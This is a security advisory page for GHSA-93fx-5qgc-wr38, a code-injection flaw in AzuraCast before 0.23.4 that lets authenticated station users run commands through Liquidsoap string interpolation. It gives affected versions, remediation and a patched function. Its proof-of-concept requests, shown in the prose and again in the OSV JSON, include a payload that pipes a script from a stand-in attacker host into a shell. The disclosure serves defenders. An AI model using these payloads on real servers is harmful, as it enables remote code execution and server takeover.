GHSA-93fx-5qgc-wr38: AzuraCast Remote Code Execution Vulnerability

HIGH
CVSS 8.7
CWE-94
Published
Advisory Summary

GHSA-93fx-5qgc-wr38 is a HIGH (CVSS 8.7) remote code execution vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting AzuraCast libraries in the Packagist ecosystem. The issue involves rce via liquidsoap string interpolation injection in station metadata and playlist urls. Remediation is available by upgrading affected packages to version 0.23.4.

GHSA-93fx-5qgc-wr38 at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-93fx-5qgc-wr38
Severity HIGH
CVSS v3.1 Base Score 8.7
CWE Classification CWE-94: Improper Control of Generation of Code ('Code Injection')
Affected Product AzuraCast
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 8.7

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix GHSA-93fx-5qgc-wr38

To remediate this vulnerability, upgrade all affected AzuraCast dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

azuracast/azuracast fixed: 0.23.4
Upgrade azuracast/azuracast to 0.23.4
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for azuracast/azuracast

How to Check if You Are Affected

To determine whether your application is affected by GHSA-93fx-5qgc-wr38, inspect your project dependencies for AzuraCast:

inspect dependencies for azuracast/azuracast

Analyze the terminal output to locate any version of AzuraCast in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.23.4), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In AzuraCast, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary AzuraCast's `ConfigWriter::cleanUpString()` method fails to sanitize Liquidsoap string interpolation sequences (`#{...}`), allowing authenticated users with `StationPermissions::Media` or `StationPermissions::Profile` permissions to inject arbitrary Liquidsoap code into the generated configuration file. When the station is restarted and Liquidsoap parses the config, `#{...}` expressions are evaluated, enabling arbitrary command execution via Liquidsoap's `process.run()` function. ## Root Cause **File:** `backend/src/Radio/Backend/Liquidsoap/ConfigWriter.php`, line ~1345 ```php public static function cleanUpString(?string $string): string { return str_replace(['"', "\n", "\r"], ['\'', '', ''], $string ?? ''); } ``` This function only replaces `"` with `'` and strips newlines. It does **NOT** filter: - `#{...}` — Liquidsoap string interpolation (evaluated as code inside double-quoted strings) - `\` — Backslash escape character Liquidsoap, like Ruby, evaluates `#{expression}` inside double-quoted strings. `process.run()` in Liquidsoap executes shell commands. ## Injection Points All user-controllable fields that pass through `cleanUpString()` and are embedded in double-quoted strings in the `.liq` config: | Field | Permission Required | Config Line | |---|---|---| | `playlist.remote_url` | `Media` | `input.http("...")` or `playlist("...")` | | `station.name` | `Profile` | `name = "..."` | | `station.description` | `Profile` | `description = "..."` | | `station.genre` | `Profile` | `genre = "..."` | | `station.url` | `Profile` | `url = "..."` | | `backend_config.live_broadcast_text` | `Profile` | `settings.azuracast.live_broadcast_text := "..."` | | `backend_config.dj_mount_point` | `Profile` | `input.harbor("...")` | ## PoC 1: Via Remote Playlist URL (Media permission) ```http POST /api/station/1/playlists HTTP/1.1 Content-Type: application/json Authorization: Bearer <API_KEY_WITH_MEDIA_PERMISSION> { "name": "Malicious Remote", "source": "remote_url", "remote_url": "http://x#{process.run('id > /tmp/pwned')}.example.com/stream", "remote_type": "stream", "is_enabled": true } ``` The generated `liquidsoap.liq` will contain: ```liquidsoap mksafe(buffer(buffer=5., input.http("http://x#{process.run('id > /tmp/pwned')}.example.com/stream"))) ``` When Liquidsoap parses this, `process.run('id > /tmp/pwned')` executes as the `azuracast` user. ## PoC 2: Via Station Description (Profile permission) ```http PUT /api/station/1/profile/edit HTTP/1.1 Content-Type: application/json Authorization: Bearer <API_KEY_WITH_PROFILE_PERMISSION> { "name": "My Station", "description": "#{process.run('curl http://attacker.com/shell.sh | sh')}" } ``` Generates: ```liquidsoap description = "#{process.run('curl http://attacker.com/shell.sh | sh')}" ``` ## Trigger Condition The injection fires when the station is restarted, which happens during: - Normal station restart by any user with `Broadcasting` permission - System updates and maintenance - `azuracast:radio:restart` CLI command - Docker container restarts ## Impact - **Severity:** Critical - **Authentication:** Required — any station-level user with `Media` or `Profile` permission - **Impact:** Full RCE on the AzuraCast server as the `azuracast` user - **CWE:** CWE-94 (Code Injection) ## Recommended Fix Update `cleanUpString()` to escape `#` and `\`: ```php public static function cleanUpString(?string $string): string { return str_replace( ['"', "\n", "\r", '\\', '#'], ['\'', '', '', '\\\\', '\\#'], $string ?? '' ); } ```

GHSA-93fx-5qgc-wr38 Affected AzuraCast Versions

1 component(s)
Fixed Versions:
0.23.4
Product / Package Ecosystem Affected Versions Fixed Version
azuracast/azuracast
Packagist
< 0.23.4
0.23.4

References

Frequently Asked Questions

What is GHSA-93fx-5qgc-wr38?
GHSA-93fx-5qgc-wr38 is a security vulnerability in AzuraCast involving RCE via Liquidsoap string interpolation injection in station metadata and playlist URLs under CWE-94: Improper Control of Generation of Code ('Code Injection').
Which AzuraCast versions are affected?
Affected versions include releases prior to 0.23.4 across affected packages: azuracast/azuracast.
What version fixes GHSA-93fx-5qgc-wr38?
Upgrading to 0.23.4 (or the latest patched release for your respective branch) resolves the vulnerability.
Is azuracast/azuracast affected?
Yes, azuracast/azuracast is affected in releases prior to 0.23.4. Upgrade your dependency to 0.23.4 or later.
What is the CVSS score of GHSA-93fx-5qgc-wr38?
GHSA-93fx-5qgc-wr38 has a CVSS v3.1 base score of 8.7 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N.
What CWE is associated with GHSA-93fx-5qgc-wr38?
GHSA-93fx-5qgc-wr38 is classified under CWE-94: Improper Control of Generation of Code ('Code Injection') (The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.).
How can I check Packagist dependencies for GHSA-93fx-5qgc-wr38?
Run the dependency tree command: 'inspect dependencies for azuracast/azuracast'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-93fx-5qgc-wr38",
  "modified" : "2026-03-09T19:55:00Z",
  "published" : "2026-03-09T19:55:00Z",
  "aliases" : [ ],
  "summary" : "AzuraCast: RCE via Liquidsoap string interpolation injection in station metadata and playlist URLs",
  "details" : "## Summary\n\nAzuraCast's `ConfigWriter::cleanUpString()` method fails to sanitize Liquidsoap string interpolation sequences (`#{...}`), allowing authenticated users with `StationPermissions::Media` or `StationPermissions::Profile` permissions to inject arbitrary Liquidsoap code into the generated configuration file. When the station is restarted and Liquidsoap parses the config, `#{...}` expressions are evaluated, enabling arbitrary command execution via Liquidsoap's `process.run()` function.\n\n## Root Cause\n\n**File:** `backend/src/Radio/Backend/Liquidsoap/ConfigWriter.php`, line ~1345\n\n```php\npublic static function cleanUpString(?string $string): string\n{\n    return str_replace(['\"', \"\\n\", \"\\r\"], ['\\'', '', ''], $string ?? '');\n}\n```\n\nThis function only replaces `\"` with `'` and strips newlines. It does **NOT** filter:\n- `#{...}` — Liquidsoap string interpolation (evaluated as code inside double-quoted strings)\n- `\\` — Backslash escape character\n\nLiquidsoap, like Ruby, evaluates `#{expression}` inside double-quoted strings. `process.run()` in Liquidsoap executes shell commands.\n\n## Injection Points\n\nAll user-controllable fields that pass through `cleanUpString()` and are embedded in double-quoted strings in the `.liq` config:\n\n| Field | Permission Required | Config Line |\n|---|---|---|\n| `playlist.remote_url` | `Media` | `input.http(\"...\")` or `playlist(\"...\")` |\n| `station.name` | `Profile` | `name = \"...\"` |\n| `station.description` | `Profile` | `description = \"...\"` |\n| `station.genre` | `Profile` | `genre = \"...\"` |\n| `station.url` | `Profile` | `url = \"...\"` |\n| `backend_config.live_broadcast_text` | `Profile` | `settings.azuracast.live_broadcast_text := \"...\"` |\n| `backend_config.dj_mount_point` | `Profile` | `input.harbor(\"...\")` |\n\n## PoC 1: Via Remote Playlist URL (Media permission)\n\n```http\nPOST /api/station/1/playlists HTTP/1.1\nContent-Type: application/json\nAuthorization: Bearer <API_KEY_WITH_MEDIA_PERMISSION>\n\n{\n    \"name\": \"Malicious Remote\",\n    \"source\": \"remote_url\",\n    \"remote_url\": \"http://x#{process.run('id > /tmp/pwned')}.example.com/stream\",\n    \"remote_type\": \"stream\",\n    \"is_enabled\": true\n}\n```\n\nThe generated `liquidsoap.liq` will contain:\n```liquidsoap\nmksafe(buffer(buffer=5., input.http(\"http://x#{process.run('id > /tmp/pwned')}.example.com/stream\")))\n```\n\nWhen Liquidsoap parses this, `process.run('id > /tmp/pwned')` executes as the `azuracast` user.\n\n## PoC 2: Via Station Description (Profile permission)\n\n```http\nPUT /api/station/1/profile/edit HTTP/1.1\nContent-Type: application/json\nAuthorization: Bearer <API_KEY_WITH_PROFILE_PERMISSION>\n\n{\n    \"name\": \"My Station\",\n    \"description\": \"#{process.run('curl http://attacker.com/shell.sh | sh')}\"\n}\n```\n\nGenerates:\n```liquidsoap\ndescription = \"#{process.run('curl http://attacker.com/shell.sh | sh')}\"\n```\n\n## Trigger Condition\n\nThe injection fires when the station is restarted, which happens during:\n- Normal station restart by any user with `Broadcasting` permission\n- System updates and maintenance\n- `azuracast:radio:restart` CLI command\n- Docker container restarts\n\n## Impact\n\n- **Severity:** Critical\n- **Authentication:** Required — any station-level user with `Media` or `Profile` permission\n- **Impact:** Full RCE on the AzuraCast server as the `azuracast` user\n- **CWE:** CWE-94 (Code Injection)\n\n## Recommended Fix\n\nUpdate `cleanUpString()` to escape `#` and `\\`:\n\n```php\npublic static function cleanUpString(?string $string): string\n{\n    return str_replace(\n        ['\"', \"\\n\", \"\\r\", '\\\\', '#'],\n        ['\\'', '', '', '\\\\\\\\', '\\\\#'],\n        $string ?? ''\n    );\n}\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "azuracast/azuracast"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.23.4"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.23.3"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/AzuraCast/AzuraCast/security/advisories/GHSA-93fx-5qgc-wr38"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/AzuraCast/AzuraCast/commit/d04b5c55ce0d867bcb87f49f7082bf8edbcd360c"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/AzuraCast/AzuraCast/commit/ff49ef4d0fa571a3661abff6d0a9546ba3ed5df5"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/AzuraCast/AzuraCast"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/AzuraCast/AzuraCast/releases/tag/0.23.4"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-94" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-09T19:55:00Z",
    "nvd_published_at" : null
  }
}